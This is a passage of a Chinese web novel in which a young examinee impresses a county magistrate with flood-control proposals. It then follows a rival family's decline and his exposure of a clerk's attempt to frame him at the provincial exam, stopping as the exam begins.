她言辞犀利,毫不留情面,
说得钱富几人面红耳赤,张口结舌。
王雪茹却不再看他们,
转而看向苏惟瑾,
那双明亮的眼睛里瞬间漾起笑意,
还带着几分毫不掩饰的欣赏。
她很是豪气地抱了抱拳,
行了个江湖气十足的礼节:
“这位就是苏案首吧?
果然一表人才!
你的府试文章,我爹拿回家看了,
拍着桌子连说了三声‘好’!
说文章写得痛快,有骨气!
比某些只会之乎者也、
无病呻吟的强多了!”
她这话,既是真心夸赞苏惟瑾,
又是顺手一巴掌扇在了孙志远等人脸上。
苏惟瑾微微一怔,
随即反应过来,从容还了一礼:
“王姑娘过誉,苏某惭愧。
王百户谬赞,不敢当。”
他心中了然,这想必就是周大山曾提过的、
那位在风姿飒爽,有侠女之风的王百户之女。
今日一见,果然名不虚传。
王雪茹摆摆手,显得很是洒脱:
“有什么不敢当的?
好就是好!我爹是个粗人,
但看人看事,直来直去,
从不说假话!”
她说着,又瞥了一眼那几个僵在原地的纨绔,
冷哼一声:“总比某些人,输不起就暗地里使绊子,满嘴喷粪强得多!”
孙志远此刻再也忍不住,
猛地转过身来,脸色涨得发紫,
指着王雪茹:
“王雪茹!
你…你一介女流,不在闺中绣花,
跑来这文会之地撒野,成何体统!
还在此辱骂斯文!”
“斯文?”
王雪茹像是听到了极大的笑话,
上下打量了他一番,
毫不客气地怼了回去。
“孙志远,你除了会掉几句书袋,
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还会干什么?
真上了阵仗,怕是比娘们还怂!
我看你也就剩这点‘斯文’当遮羞布了!
哦对了,听说你上次骑马差点摔下来,
还是你家小厮趴地上给你当的肉垫?
这可真是‘斯文’得很啊!”
她这话揭短揭得极其刁钻刻薄,
周围顿时响起一阵压抑不住的嗤笑声。
孙志远那次坠马丑事知道的人不少,
此刻被当众揭开,简直羞愤欲死,
指着王雪茹“你…你…”了半天,
气得一句话也说不出来,
最后猛地一跺脚,
推开身边人,头也不回地狼狈遁走。
钱富李狗子几人见状,
也赶紧灰溜溜地跟着跑了。
王雪茹冲着他们的背影做了个鬼脸,
这才心情舒畅地转回头,
对着苏惟瑾,
又是那副明朗笑容:
“碍眼的苍蝇总算飞走了。
苏案首,院试快到了,
你可得好生考!
给我爹这样的粗人,再挣点面子!
也好好煞煞那帮酸丁的威风!”
苏惟瑾看着眼前这明媚飒爽、
爱憎分明的少女,心中也是莞尔。
他郑重拱手:
“多谢王姑娘仗义执言,
亦多谢王百户抬爱。
苏某定当尽力。”
“好说好说!”
王雪茹爽朗一笑,
又像是想起什么,
从镖囊里摸出一个小巧的、
用油纸包着的东西,
随手抛给苏惟瑾。
“喏,东街口老刘家的芝麻糖饼,
刚买的,顶饿!
看你这清瘦样子,备考费脑子,
得多吃点!走啦!”
说完,也不等苏惟瑾反应,
转身挥了挥手,辫子一甩,
迈着轻快又利落的步子,
几步就消失在河边的柳荫深处,
来得突然,去得潇洒。
苏惟瑾接住那还带着温热的芝麻糖饼,
站在原地,看着那远去的红色身影,
鼻间仿佛还萦绕着那缕混合着皂角和阳**息的爽利味道,
与这文会残留的墨香、
河水的微腥糅合在一起,
形成一种奇特而鲜活的印象。
周围尚未散尽的士子们,
看着这一幕,眼神复杂。
有羡慕,有惊讶,也有深思。
这位苏案首,不仅才学惊人,
竟还能得武官之家的青眼相待?
这王大小姐可是出了名的眼高于顶,
寻常才子根本入不得她眼。
苏惟瑾低头看了看手中的糖饼,摇头失笑。
这沭阳城,还真是越来越有趣了。
他收起糖饼,迎着夕阳余晖,缓步离去。
身后,是众人窃窃私语的议论,
是关于府试案首、王家千金、以及孙家纨绔的最新谈资。
而前方,院试的龙门,正缓缓开启。
第62章 县尊关注,实务策问计
王雪茹那爽利的身影和芝麻糖饼的甜香尚未在沭阳士林的话题中淡去,
另一则消息又如石子投入平静湖面,
荡开新的涟漪——县令**王大人,
点名要见新晋府试案首苏惟瑾。
这消息并非通过正式公文,
而是由县衙一位青衣小帽的门子,
客客气气地寻到西街苏氏族学,
亲自传达的口信。
语气虽和缓,
但“县尊大人召见”这五个字本身,
就带着沉甸甸的分量。
七叔公得知后,激动得胡须直抖,
连声嘱咐苏惟瑾务必谨慎应对,
莫要失了礼数,
又反复检查了他的衣着巾冠,
生怕有一丝不妥。
苏惟瑾倒是平静,
超频大脑迅速调取了所有关于这位王县令的**息:
寒门出身,科举入仕,务实干练,
颇有政绩,风评尚可,
似乎与本地豪绅保持着一种微妙的平衡距离。
此番召见,大概率与那篇水利策论有关。
翌日,苏惟瑾准时来到县衙二堂。
并非升堂问案的大堂,
而是官员日常处理公务、接见下属的地方,
少了几分威严,多了些许文气。
堂内布置简洁,书案上公文堆积如山,
墙上挂着“明镜高悬”的匾额,
以及一幅意境清远的山水画。
**并未让他久等。
这位县令年约四旬,面容清瘦,目光精明,
下颌留着三缕梳理得一丝不苟的短须,
穿着一身半旧的鹌鹑补子青袍,
显得干练而不奢靡。
他正在批阅公文,见苏惟瑾进来,
便放下笔,脸上露出温和却不失威仪的笑容。
“学生苏惟瑾,拜见县尊老父母。”
苏惟瑾依足礼数,躬身长揖。
“不必多礼,坐。”
**虚扶一下,指了指旁边的椅子,
态度颇为随。
“早就听闻我沭阳出了位少年才俊,
府试文章连学政大人都击节称赞。
今日一见,果然气度不凡。”
“老父母谬赞,学生愧不敢当。
皆是老父母治下有方,
文风鼎盛,学生方能侥幸得中。”
苏惟瑾姿态放得低,
话却说得漂亮,顺便捧了对方一句。
**显然受用,抚须笑了笑,
话题随即转入正轨:
“今日请你来,
一是见见本县的才子,
二来,确有一事请教。”
他拿起一份抄录的文稿,
正是苏惟瑾府试那篇《沭水疏浚并防灾备荒策》。
“你这篇策论,本官反复看了数遍,
其中‘以工代赈’、‘分段承包’、‘植树固堤’等议,
颇有些新奇见解,
切中本县水患之要害。
尤其这‘数据预警’、‘建立常备民夫队伍’之说,
更显深谋远虑。
本官想听听,若具体施行,该当如何着手?”
他目光炯炯,带着探究和期待。
作为一县之主,
河工水利、钱粮赋税才是实实在在的政绩,
远比吟风弄月更能牵动他的心神。
苏惟瑾那篇策论,
俨然是在他眼前打开了一扇新窗,
让他看到了解决问题的另一种可能,自然要问个明白。
苏惟瑾心道果然如此。
他略一沉吟,
组织语言(实则是超频大脑将现代项目管理、
组织行为学、应急管理等知识进行本土化包装输出),
从容道:
“老父母垂询,学生敢不尽言?
学生浅见,若欲施行,
首重‘组织’与‘钱粮’二字。”
“哦?细言之。”
**身体微微前倾,显然极感兴趣。
“所谓组织,便是人的调度。”
苏惟瑾条理清晰。
“可仿军制,但去其戾气。
将全县需服徭役之丁壮,
按保甲编列,登记造册。
择其精壮知水者,
组建‘河工常备营’,
给予些许钱粮补贴,
使其专司堤防巡查、
小规模修缮之事,可谓‘专业队伍’。”
“其余丁壮,则按地域编为‘预备役’,
农闲时集中调训,学习基本河工技艺,熟悉器械。
一旦有事,即可按图索骥,迅速征调,
免去临事慌乱、胡乱抓丁之弊。
此谓‘平战结合’。”
**眼中精光一闪,
手指无意识地在桌面上敲击:
“常备营…预备役…妙!
如此一来,人力便不再是散沙一盘!
那钱粮呢?以工代赈虽好,钱从何来?”
“钱粮之筹,可分‘官、民、商’三途。”
苏惟瑾早已备好答案。
“官,乃府库拨款、徭役折银,此为根本。
民,可劝谕乡绅富户捐输,
或以其所捐钱粮抵扣部分徭役,
予其旌表,立碑刻名以彰其德,
此谓‘利益引导’。”
“至于商,”
他顿了顿,抛出一个更大胆的想法。
“学生听闻,沭水疏通后,
下游航运可直通淮安,
商贾获益最巨。
或可试行‘航道维护捐’,
凡经沭水运输之商船,
按货值或船型大小,
收取微量捐银,专款用于河道维护。
取之于商,用之于商,亦可谓公平。
当然,此法需谨慎,
须防吏员借此盘剥,反成民害。”
**听得呼吸都微微急促起来!
这哪里是一个童生的见解?
这分明是久历官场、
深谙钱谷刑名之
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道的能吏才能提出的方略!
层层递进,考虑周详,
几乎将可能遇到的问题和解决方案都想到了!
他强压激动,继续追问:
“那‘数据预警’又当如何操作?
虚无缥缈,如何落到实处?”
“此事看似玄虚,实则有迹可循。”
苏惟瑾微微一笑。
“可于沭水上游、中游关键处,
设立‘水则碑’,刻度量衡于其上,
派专人(可由常备营兼任)每日记录水位涨落。
再广询老农、老河工,
将其历年所经水情、
雨情与水位对照,记录成册。
年复一年,数据累积,
便可大致摸索出不同季节、不同雨量下,
水位涨落之规律。
一旦水位骤升或超过临界,
便可提前示警,疏散人员,加固堤防。
虽不能完全预测天时,
却可争取数日甚至十余日的宝贵时间。”
他将现代水文监测和数据统计的理念,
用这个时代能理解的语言和工具(水则碑、老农经验)完美地表达了出来!
**猛地一拍大腿(意识到失态又赶紧收住),
眼中放光,几乎是脱口而出:
“善!大善!
此策若行,沭阳水患可缓矣!
苏小友…玉衡啊,你这…你这真是…”
他一时竟找不到合适的词语来形容心中的震撼和惊喜。
这简直是送上门来的政绩蓝图!
而且可行性极高!
只要运作得当,
这就是他**在任期间最亮眼的功绩!
他再看苏惟瑾的眼神,已经完全变了。
不再是看一个有才华的晚辈士子,
而是仿佛在看一个能助他青云直上的…福星和智囊!
“玉衡啊,”
王县令的语气不自觉亲热了许多。
“你这些想法,着实令人茅塞顿开!
院试在即,你安心备考,
这些实务,本官会细细斟酌。
若此事能成,你当记首功!”
这就是明确的示好和承诺了。
苏惟瑾心中了然,起身谦逊道:
“学生狂妄之言,
能对老父母有所裨益,便是万幸。
岂敢居功?
一切还需老父母运筹帷幄。”
不居功,懂进退,更是让**满意至极。
又勉励了苏惟瑾几句,
叮嘱他好生准备院试,
**这才心情极佳地端茶送客。
苏惟瑾躬身退出二堂,走出县衙时,阳光正好。
他知道,今日之后,在这沭阳县,
他不再仅仅是一个有才学的士子,
更是在县令心中挂上了号、
可能带来实际利益的“自己人”。
这份赏识,远比虚名更有分量。
狂飙之路的又一道助力,已然就位。
第63章 张家败象,产业始凋零
沭阳县的夏日,总是闷热中带着黏腻。
但今年的夏天,对于东城张府而言,
却透着一股子钻心刺骨的寒意,
比那三九严冬还要难熬。
自打府试舞弊案发,
张承宗当众吐血,
张家这艘往日里在沭阳地界看似威风八面的“巨舰”,
就像是被人砸穿了底舱,
正以肉眼可见的速度,
咕咚咕咚地往下沉。
那“沭阳一霸”的金字招牌,
如今蒙上了一层厚厚的臭泥,
人人避之唯恐不及。
最先感受到这凛冬将至的,
是张家的各大铺面。
张家主要经营粮食和布匹生意。
往日里,城东“丰泰粮行”和“瑞祥布庄”门前,
那是车水马龙,伙计们吆喝得嗓子冒烟,
算盘珠子打得噼啪响,
能从天亮响到天黑。
可如今呢?
粮行里,几个伙计百无聊赖地靠在柜台边打苍蝇,
粮囤里的米面都快闷出陈味儿了,
也少见几个大主顾上门。
偶尔来个零买的老主顾,
也是交了钱,拎了米,
脚步飞快地就走,
仿佛多待一刻都会沾上晦气。
以往那些合作多年、定期来拉粮的各县粮商,
更是寻尽了由头推诿,
不是说今年收成不好周转不灵,
就是已寻了别家货源,价格更公道些。
布庄的情形更惨。
往日里最爱来挑选时新绸缎的富家太太小姐们,
现在连门口的红毡子都不愿踩了,
宁可绕远路去孙家或刘家的铺子。
一批刚从江南运来的苏缎,
花色艳丽,质地柔软,本是抢手货,
现今却只能堆在库房里吃灰。
掌柜的愁得头发一把把掉,
壮着胆子去请教了几家往来的大户,
对方管家要么避而不见,
要么就皮笑肉不笑地暗示:
“贵府近来风头太盛,
我家老爷夫人说了,
还是低调些好,这穿戴之物,
就不劳张老爷费心了。”
这哪里是低调?
分明是划清界限!
生意场上的老狐狸们,
鼻子比狗还灵。
张家得罪的可是新晋府试案首、
可能未来的秀才相公,
更隐隐有传闻说连县尊大人都对其青眼有加。
况且张家自己屁股底下全是屎,
科场舞弊可是捅破天的大罪,
虽说暂时用钱压了下去,
但谁知道哪天会不会再爆开?
这时候再不赶紧躲远点,
难道等着被溅一身腥?
就连往日里巴结张家的那些小商户,
也纷纷变了脸。
送货结款,从不敢拖欠变成了能拖就拖,
催得急了,便哭穷诉苦,
话里话外透着“您张家大树底下好乘凉,
何必计较我们这点小钱”的无赖劲儿。
张承宗躺在病榻上,
听着管家每日战战兢兢的汇报,
气得肝疼,砸了好几个药碗。
“混账!都是些见风使舵的小人!
等我缓过劲来…
咳咳…定要他们好看!”
可他还能不能缓过劲来,
却是个未知数。
铺面的亏损尚在其次,
更致命的是乡下的田庄出了乱子。
张家在城外有上百顷良田,
靠着盘剥佃户,
这些年积攒了厚实家底。
如今主家名声臭了,
那些往日里逆来顺受的佃户们,
心思也活络起来。
“听说了吗?张家伤了阴德,
科举上都敢舞弊,
老天爷都不保佑他家了!”
“可不是!县太爷都看不下去!
咱们还怕他作甚?”
“今年收成不好,
东家要是还按往年那么高的租子收,
咱们全家都得饿死!”
“对!不减租,咱就不交!
看他能把咱们咋样!
难不成还敢像以前那样乱抓人**?
现在官府可盯着他家呢!”
于是,当张家派去收租的管家和豪奴们,
破天荒地遇到了软钉子。
不是这家说收成不好求宽限,
就是那家直接闭门不见。
有几个性子烈的,甚至联合起来,
拿着锄头镰刀,堵在村口,
嚷嚷着“租子太高,活不下去了,要减租!”
管家气得跳脚,
却不敢再像以往那样强行抓人抢粮。
今时不同往日,
无数双眼睛盯着张家,
就等着他再犯事呢。
一旦动了粗,事情闹大,官府介入,
倒霉的肯定是张家。
消息传回张府,张承宗眼前一黑,
差
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点又背过气去。
躺在床上,喘着粗气咒骂:
“反了!都反了!这群泥腿子…刁民!”
与张家的凄风苦雨相比,
城里的孙家、刘家等乡绅,
可是春风得意。
他们乐得见张家这共同的老对手倒霉,
甚至不介意暗中再推一把。
孙家名下粮铺的掌柜,
“恰好”在张家铺面冷清时,
推出了“新粮上市,
优惠三日”的活动。
刘家布庄也“适时”进了一批“物美价廉”的松江棉布,
抢走了最后一批中低端客户。
手段算不得多么高明,
却足够让焦头烂额的张家雪上加霜。
在这片败象环伺中,
张诚少爷的表现更是令人扼腕。
他本就没什么真才实学,
如今靠山倒了,名声臭了,
往日里一起**的“好友”们也作鸟兽散。
他无力改变现状,
更不敢面对其父的怒火和失望,
索性破罐子破摔,终日缩在后院,
与酒壶为伴。
喝醉了就撒泼骂人,摔东西,
骂苏惟瑾,骂那些落井下石的“朋友”,
有时甚至连他爹也一起骂。
清醒时便目光呆滞,唉声叹气,
整个人迅速萎靡下去,
哪还有半分昔日纨绔子弟的张扬。
昔日门庭若市的张府,现实就是门可罗雀。
那对石狮子似乎也失去了往日的威风,
显得有些灰头土脸。
高墙之内,终日弥漫着一股药味、
酒气和挥之不去的压抑颓败。
沭阳城的百姓们茶余饭后,
添了新的谈资。
“听说了吗?
张家铺子这个月又亏了上百两!”
“活该!让他家缺德!
连读书人的功名都想抢!”
“可不是嘛!还是人家苏案首厉害!
文曲星下凡!专克这种为富不仁的!”
“这就叫恶有恶报!不是不报,时候未到!”
市井之言,如同无形的风,吹遍县城每个角落。
张家的凋零,已然不可避免。
而这,或许只是开始。
所有人都隐隐感觉到,
沭阳的天,要变了。
而那个引发这场变局的少年,
此刻正心无旁骛,
等待着即将到来的院试龙门之跃。
第64章 院试将至,风雨欲来
八月的沭阳,天气愈发闷热,
知了在柳梢头没完没了地嘶鸣,
搅得人心头莫名烦躁。
但这份烦躁,
远不及城中士子们心头那愈燃愈烈的焦灼
——院试之期,近在眼前了。
院试不同于县试、府试,
这是由一省学政亲自主持的“进学”之考,
是真正决定能否脱下童生帽、
穿上秀才青衫的关键一跃!
跨过去,便是“相公”,
是士绅阶层的一员,
见官不跪,免役免税,光宗耀祖;
跌下来,便仍是白身,
之前所有风光都可能成为过眼云烟。
整个沭阳县的目光,
似乎都聚焦在了这场即将到来的考试上。
一种无形的、紧绷的气氛弥漫在县城上空。
苏惟瑾依旧待在族学那间僻静的厢房里,心无旁骛。
超频大脑化身精密仪器,
将最后梳理的知识点反复核查、优化、存储。
然而,树欲静而风不止。
他这般淡定,却急坏了身边的人。
七叔公苏正廉拄着枣木棍,
几乎每日都要来族学转上一圈。
这日傍晚,他到底没忍住,
将苏惟瑾叫到院中那棵老槐树下。
“惟瑾啊,”
七叔公压低了声音,
花白的眉毛拧成了疙瘩。
“院试非同小可,万万大意不得。
我瞧着…这几日族学外头,
总有些生面孔晃荡…
怕是有人见不得你好,
想在这节骨眼上使坏!”
他浑浊的老眼里闪烁着老一辈的警惕。
说着,他朝墙角努了努嘴。
那里,两个穿着短打的苏家后生立刻站直了身体
——这是七叔公从族里挑出来“保护”苏惟瑾的。
“七叔公,不必如此…”
苏惟瑾心下感动,却觉得有些兴师动众。
“什么不必!”
七叔公眼睛一瞪,
枣木棍顿得地面咚咚响。
“小心驶得万年船!…
出门必须让他俩跟着!
直到你安安稳稳考完出来!”
苏惟瑾回到厢房,
却发现苏婉不知何时来了,
正安静地坐在他的书桌旁,
小手小心翼翼地抚平他写废的稿纸边缘。
见他进来,她立刻站起身,
小脸上带着显而易见的担忧,
却又努力挤出一个鼓励的笑容。
“哥哥,”
她声音轻轻柔柔的,
像怕惊扰了他的思绪。
“七叔公说的…我都听见了。
你别怕,哥哥最厉害了,
一定能考好的。”
她从怀里掏出一个小小的、
用红绳系着的平安符,
塞到苏惟瑾手里。
“这是…这是我前两天去观音庙求的,
给哥哥戴着,保佑哥哥平平安安,顺顺利利。”
那平安符针脚细密,
却略显稚嫩,显然是她自己缝制的。
苏惟瑾握着还带着妹妹体温的平安符,
心中一片柔软,
所有因外界暗流而产生的些许紧绷感,
在这一刻都化为了更坚定的动力。
他揉了揉苏婉的头发,温声道:
“谢谢婉妹,有婉妹的平安符,哥哥一定没事。”
苏婉用力点头,眼中是全然的信任。
如今她在族中,因着哥哥的缘故,
无人再敢让她做重活,
脸色也红润了些,
但那份对哥哥的依赖和关切,却愈发深沉。
族学院子另一头,
苏惟强和苏惟壮两兄弟正靠在墙根下,
远远看着七叔公与苏惟瑾交谈,
又看着苏婉进了苏惟瑾的房门,眼神复杂。
自府试案首之后,
他们在族中的地位一落千丈,
往日跟着他们混的几个年轻族人,
如今都围着苏惟瑾转,
对他们爱搭不理。
苏惟壮用胳膊肘碰了碰苏惟强,
压低声音,语气酸溜溜的:
“强哥,瞧见没?
七叔公把他当眼珠子似的护着,
婉儿那丫头片子也跟着水涨船高…
早知道…”
苏惟强脸色阴沉,
狠狠啐了一口:
“早知道个屁!
谁晓得那小子真能走了狗屎运!”
他嘴上强硬,
眼神却闪烁着不甘和一丝不易察觉的悔意。
看着那两位被七叔公指派来“保护”苏惟瑾的族兄,
他心里更不是滋味
——这种重视,原本是他们这些长房子弟才配享有的。
“那…院试…”
苏惟壮迟疑道。
“他要是真中了秀才…”
“中了又怎样?”
苏惟强打断他,
语气带着一股破罐子破摔的狠劲。
“秀才公也得讲族规!
再说了,考场上的事,谁说得准?
万一他运气用光了呢?”
话虽如此,但他闪烁的眼神暴露了内心的底气不足。
如今族中风向已变,
大多数族人,哪怕是以前对他们父子趋炎附势的,
现在见了苏惟瑾也都笑脸相迎,
甚至有人开始偷偷议论他们父子当初霸占侄儿家产、
卖侄求财的旧事,
这让他们如坐针毡。
无独有偶,翌日,
赵教谕也借“检查族学功课”之名,
亲自来了一趟。
在那间小小的厢房里,
赵教谕摒退了旁人,
神色郑重地对苏惟瑾道:
“惟瑾,你才学已足,
院试文章只要稳扎稳打,
取中当无大碍。
然,考场之内,非止文章较量,
尤需谨言慎行,留意细节。”
他捻着胡须,声音压得更
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低:
“学政周大人治学严谨,
最恶浮华躁进之徒。
昔年主政南粤时,曾力斥空疏之学,倡明体达用,
其文风主张‘根柢经史,切中时务’,
与白沙门下湛甘泉先生‘随处体认天理’之教一脉相承。
今番主考,入场搜检必极为严格,
万不可携带片纸只字,
笔墨务求合规。
答卷时,字迹务必修饬工整,切莫潦草。
尤其是策问,虽需见解,
但言辞不可过于尖锐,
须合乎圣贤之道,稳重第一。”
他顿了顿,眼中闪过一丝更深沉的忧色:
“此外…考场之内,人心难测。
与你同考者,未必皆怀善意。
有人或许自身无望,便行那损人不利己之事,
需提防他人‘碰洒’砚台,‘误污’试卷等龌龊伎俩。
座位号舍,皆由抽签而定,一切…唯有自己小心。”
这是真正的金玉良言,来自过来人的经验,
将考场内可能遇到的明枪暗箭一一指明。
苏惟瑾肃然起敬,长揖到底:
“学生谨记教谕教诲,定当万分小心。”
赵明远扶起他,看着他清亮沉静的眼眸,
心中稍安,却仍忍不住叹了一句:
“木秀于林,风必摧之。
惟瑾,你如今风头太盛,
盼你好者众,嫉恨者亦不少。
此番院试,于你而言,
恐非坦途,好自为之。”
就连远在书铺的陈芸娘,
也感受到了这股山雨欲来的紧张。
她不敢去打扰埋头苦读的苏惟瑾,
便偷偷买了线香,
在一个清晨,
独自去了城西的观音庙,
跪在蒲团上虔诚祈祷。
而此刻,在孙家书房内,
孙志远面对其父阴沉的目光,
亦是惴惴不安。
“此次院试,只许成功,不许失败!”
孙父声音冷硬。
“绝不能再让那苏惟瑾压你一头!
若有必要…考场之内,
亦可动用些非常手段…”
在张府那弥漫着药味和颓败气息的后院,
张诚醉醺醺地听着老管家附耳低语,
眼中闪过一丝怨毒的光芒,
含糊不清地嘟囔:
“…不能…不能让他那么得意…
给他…给他找点麻烦…”
暗流,在闷热的沭阳城下悄然涌动。
苏惟瑾站在族学小院的窗前,
望着远处天际逐渐堆积起来的浓重乌云,
一场夏日的暴风雨似乎正在酝酿。
他轻轻摩挲着怀中妹妹给的平安符,
眼底是一片沉静的自信。
所有的魑魅魍魉,所有的明枪暗箭,
在绝对的实力和温暖的守护面前,
都将是徒劳。
他轻轻握了握拳。
院试,我来了。
第65章 考场验身,刁难反被打脸
桂香里的贡院风波
八月的淮安府城,
满城桂香浓得化不开,
甜腻的香气飘进青砖高墙的贡院,
却压不住童生们心头的紧绷
——三年一度的院试,终于在这香气里拉开了帷幕。
这贡院坐落在府学西侧,
比沭阳县试的考棚气派得不止十倍。
两丈高的青砖墙上爬着暗绿的藤蔓,
门前一对汉白玉石狮子龇牙咧嘴,
眼珠溜圆地睥睨着攒动的人群;
门楣上“贡院”二字是前朝大儒所题,
墨色沉郁,透着一股子不容置喙的威严。
天还没亮透,
来自淮安府下辖各州县的童生已排满了门前的石板路。
乌压压的人头里,没人敢交头接耳,
只有粗重的呼吸声在晨雾里浮动,
偶尔有谁忍不住咳嗽一声,
也会立刻捂住嘴,缩着脖子低下头。
七叔公派来的两个族兄挤在人群外,
手攥着衣角,指节发白,
目光死死锁着队伍中段的苏惟瑾,
手心的汗把布衫都浸湿了。
此番主考的提学御史周孚先,
正坐在贡院正厅的高案后。
他穿着石青色盘领官袍,
玉带束腰,花白的胡须梳理得一丝不苟,
手里捏着一把乌木折扇,
却半句不摇
——这位以“学问渊深、铁面无私”闻名的大人,
此刻正透过窗棂扫视外面的队伍,
眼神锐利得像刚磨过的刀,
仿佛能把人心里的念头都刮出来。
厅下站着几位府学教授、训导,
个个垂手而立,面色肃穆,
连捻须的动作都轻得怕惊动人。
搜检开始了。
这是防舞弊的第一道关,
也是最严的一道。
数名书办、衙役守在门口,
手里拿着细竹签,
目光如鹰隼般扫过每个童生的考篮、衣物。
前面有个童生的砚台盖没盖紧,
被衙役喝住翻来覆去查了半柱香;
还有个少年发髻里藏了张写着“天开文运”的小纸,
当场被揪出来,哭着被拖走,连辩解的机会都没有。
苏惟瑾排在队伍中段,神色平静得像一潭深水。
他的考篮里只有三样东西:
一方边缘磨得发白的松烟墨,
一支笔杆开裂的狼毫笔,
还有用油纸包得严严实实的三个炊饼
——都是最普通的物件,半分可疑处都没有。
很快,他注意到负责自己这队搜检的书办。
那人尖嘴猴腮,颧骨高耸,
一双小眼睛总在眼眶里打转,
手指还不停抠着袖口的补丁。
他检查得格外慢,
前面的童生递过考篮,
他非要把墨锭凑到鼻尖闻半天,
把纸笺一张张展开对着光看,
嘴里还不时呵斥:
“这纸角卷了!
是不是藏了夹带?”
“墨锭形状歪了!掰开我看看!”
苏惟瑾的超频大脑瞬间绷紧,
视觉感知提到了极致
——他看见那书办的眼神总偷偷往后瞟,
每次扫到队伍末尾,嘴角就会抿一下,
像是在确认什么。
顺着那目光望去,
孙志远正站在队尾,微微低着头,
可苏惟瑾分明瞥见他嘴角勾着一丝冷笑,
眼神里藏着幸灾乐祸。
果然,孙家还是要动手。
念头刚落,就轮到了苏惟瑾。
“姓名!籍贯!”
胡书办耷拉着眼皮,
声音里带着倨傲,
手往考篮上一搭,
指甲几乎要抠进竹篾里。
“学生苏惟瑾,沭阳县童生。”
苏惟瑾的声音平稳,没半分波澜。
“苏惟瑾?”
胡书办的小眼睛猛地亮了一下,
随即又沉下去,动作却更“细致”了。
他把考篮里的东西一件件掏出来:
狼毫笔捏在手里转了三圈,
松烟墨对着光翻来覆去看,
连油纸包着的炊饼都被他掰开揉碎,
碎屑掉在地上也不管。
“这墨……形状不太规整啊。”
他捏着苏惟瑾的墨锭,
故意拉长了语调,像是在找什么茬。
“市井寻常货,皆是这般模样,书办明察。”
苏惟瑾依旧平静。
胡书办“哼”了一声,
把墨锭丢回考篮,
又伸手去查苏惟瑾的衣物。
他凑得极近,带着一股汗臭味的呼吸喷在苏惟瑾颈间,
双手在袖口、衣襟、腰间反复摸索,
动作慢得像在故意拖延。
“抬胳膊!”
“转身!”
“发髻解开!”
苏惟瑾一一照做,
目光却冷了
——他看见胡书办的右手在转身的刹那,
飞快地往自己袖口里缩了一下,
袖口微微鼓了起来,
还传来一声极轻的“咔嗒”声,
像是硬物碰撞的响动。
要栽赃!
就在胡书办假意整理自己袖口,
准备借着身体遮挡,
把袖中东西滑进苏惟瑾考篮的瞬间
——苏惟瑾猛地侧身半步,
同时开口,声音不高不低,
恰好穿透周围的屏息:
“书办大人且慢!”
胡书办做贼心虚,
被这一声吓得手一抖!
脆生生的“啪”声响起,
一块黝黑发亮的墨锭从他袖口掉出来,
落在青砖地上,滚了半圈停下
——那墨锭比苏惟瑾的大一圈,
刻着细小花纹,
凑近闻能嗅到淡淡的麝香味,
分明是上品漆烟墨,
寻常童生根本用不起。
周围瞬间静了,
接着爆发出低低的哗然。
童生们纷纷伸脖子张望,
有个穿蓝布衫的少年小声说:
“那是漆烟墨吧?
我爹说一两银子才能买一小块!”
胡书办的脸瞬间煞白,
嘴唇
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哆嗦着,腿肚子都在转筋,
下意识就想弯腰去捡。
“咦?”
苏惟瑾却抢先一步,
指着地上的墨锭,
语气里带着恰到好处的惊讶。
“书办大人,此物并非学生所有。
学生用的是松烟墨,色泽灰黑,
边缘都磨白了,哪有这般光亮?
再说这漆烟墨价值不菲,
学生家境清寒,哪买得起?
倒是孙世兄——”
他顿了顿,目光轻轻扫过队尾的孙志远。
“孙世兄家学渊源,想必常用这等好墨吧?”
这话像颗石子投进水里,
童生们的目光立刻齐刷刷投向孙志远。
孙志远的脸瞬间涨红,慌忙低下头,
攥紧了考篮的提手。
“你……你这小畜生!血口喷人!”
胡书办急得跳脚,
手指着苏惟瑾,声音都变了调。
“书办这话就怪了。”
苏惟瑾眉头微挑,语气依旧平静,
却带着逼人的逻辑。
“方才学生全身由您检查,
双臂张开,连发髻都解了,
若有此墨,早被您搜出。
为何偏偏在您整理袖口时,
它才掉出来?
莫非……是书办大人自己的东西,
不慎滑落?”
这话一出,周围的议论声更大了。
负责维持秩序的衙役也凑了过来,
目光狐疑地盯着胡书办。
“何事喧哗?”
高台上突然传来一声冷喝,
正是周孚先。
他扶着案几站起身,
袍角扫过地面,
脚步声沉稳地走了出来。
周大人的目光先落在地上的墨锭上,
再扫过面如死灰的胡书办,
最后停在苏惟瑾身上
——那目光里的审视渐渐淡了,
多了丝不易察觉的赞许。
旁边的府学教授快步上前,
捡起墨锭查看一番,
又冷冷瞪了胡书办一眼,
转身拱手道:
“大人,似是小吏私藏物品滑落,惊扰了考生。”
周孚先何等精明,哪里看不出其中猫腻?
他最恨考场舞弊的龌龊事,
当下冷哼一声:
“无能之辈!拖下去,杖二十,
逐出贡院,永不录用!
换个人来查验!”
两名兵丁立刻上前,
像拖死狗似的把瘫软的胡书办拖了下去,
胡书办的哭喊声很快就远了。
周孚先的目光重新落在苏惟瑾身上,
点了点头:
“沭阳苏惟瑾,临危不乱,
心思缜密,不错。
速速入场吧。”
“谢大人明察!”
苏惟瑾深深一揖,提起考篮,
转身走进贡院大门。
阳光穿过贡院的雕花窗棂,
在他青布衫上投下细碎的光斑,
把身后的骚动和算计,
都稳稳甩在了身后。
而真正的战场,
在考场之内的那张考卷上。
第66章 号舍展才,文章惊四座
穿过森严的贡院大门,
仿佛踏入另一个世界。
喧嚣被隔绝在外,
只剩下令人窒息的寂静和无处不在的压抑感。
高墙之内,是一排排鳞次栉比、
如同蜂巢般的号舍,
低矮、狭窄、阴暗,仅容一人转身。
这便是千百学子搏取功名的战场,
寒窗十年的成果将在此间凝聚于笔端。
苏惟瑾按图索骥,
找到自己的玄字柒拾叁号舍。
刚放下考篮,
便听得隔壁号舍传来一声刻意加重的咳嗽,
带着毫不掩饰的敌意。
他侧目一看,竟是孙志远!
只见孙少爷脸色不太自然,
眼神躲闪了一下,随即又强装镇定,
恶狠狠地瞪了苏惟瑾一眼,
才弯腰钻进他那间号舍。
冤家路窄。
苏惟瑾心下冷笑,
孙家为了给他添堵,
真是无所不用其极,
连号舍位置都能动手脚。
不过这又如何?
科举终究靠的是真才实学,
而非这种上不得台面的小把戏。
他不再理会,从容步入自己的号舍。
号舍内只有一板、一凳、一灯,
空气中弥漫着陈年墨汁和木头霉变混合的气息。
苏惟瑾安然坐下,闭目养神,
调整呼吸,将外界一切干扰排除在外。
超频大脑如同进入战备状态的精密仪器,
各项感知和运算能力提升至最佳状态。
辰时正,鼓声三响,试卷下发。
苏惟瑾展开试卷,目光如电,
快速扫过所有题目。
经义题、策问题、诗赋题…
题目类型、难度、倾向…
